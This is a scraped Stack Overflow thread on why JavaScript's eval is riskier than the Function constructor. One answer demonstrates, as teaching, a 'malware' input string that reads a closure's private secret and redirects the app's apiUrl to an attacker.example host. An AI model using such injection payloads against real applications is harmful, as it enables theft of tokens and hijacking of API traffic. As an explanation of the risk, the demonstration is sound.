admin管理员组

文章数量:1299989

I was reading about eval on MDN and it seems to suggest that a somewhat "better" alternative to eval is to use a function constructor. MDN seems to highlight that using a function constructor is less of a security risk pared to eval as:

a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible.

- MDN

What exactly does "a third-party code can see the scope in which eval() was invoked" mean and how does it impact the security of my JS apps?

I was reading about eval on MDN and it seems to suggest that a somewhat "better" alternative to eval is to use a function constructor. MDN seems to highlight that using a function constructor is less of a security risk pared to eval as:

a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible.

- MDN

What exactly does "a third-party code can see the scope in which eval() was invoked" mean and how does it impact the security of my JS apps?

Share Improve this question edited Mar 9, 2019 at 12:12 Shnick asked Mar 9, 2019 at 7:08 ShnickShnick 1,3911 gold badge18 silver badges39 bronze badges 3
  • As mentioned in the docs its about scope – Lawrence Cherone Commented Mar 9, 2019 at 7:40
  • @LawrenceCherone Hi Lawrence, I'm aware of that. But what does having access to the scope actually mean? Thanks – Shnick Commented Mar 9, 2019 at 7:45
  • 1 jsbin./zimerutowe/edit?js,console,output – Lawrence Cherone Commented Mar 9, 2019 at 7:46
Add a ment  | 

2 Answers 2

Reset to default 8

From the MDN page:

However, unlike eval, the Function constructor creates functions which execute in the global scope only.

If you wrap all of your code in a closure, secret objects cannot be accessed from the evaluated function body.

(() => {
  let secret = 42;
  eval("console.log(secret)"); // 42
  let fn = new Function("console.log(secret)");
  fn(); // secret is not defined
})();

An example of how using eval to, in this scenrio, parse inputs exposes and promises all the private scope of your app.

app = (function(){
  // my app with all its shiny little secrets
  // stored in private variables
  var secret = 42;
  var apiUrl = "/api/";

  return {
    withEval(input){
      var someObject = eval(input);
      console.log("withEval", someObject);
      if(apiUrl === "/api/"){
        console.log("xhr to", apiUrl);
      }else{
        console.warn("xhr to", apiUrl);    
      }
    },
    withFunction(input){
      var someObject = Function("return(" + input+")")();
      console.log("withFunction", someObject);
      if(apiUrl === "/api/"){
        console.log("xhr to", apiUrl);
      }else{
        console.warn("xhr to", apiUrl);    
      }
    },
  }
})();

var malware = `(${
()=>{
  try { console.warn("found secret", secret); } catch(err){ console.error(err); }
  try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
  apiUrl = "http://attacker.example./";
}})(),{ foo: 13, bar: 42 }`;

console.log(malware);

app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);

With eval your "secret" is exposed, like ids, tokens, ... and even the "apiUrl" has been changed so all your api-calls now make a roundtrip over the webpage of some attacker.

And your code doesn't even throw an error; I've logged these errors in the console.

本文标签: javascripteval vs function constructorStack Overflow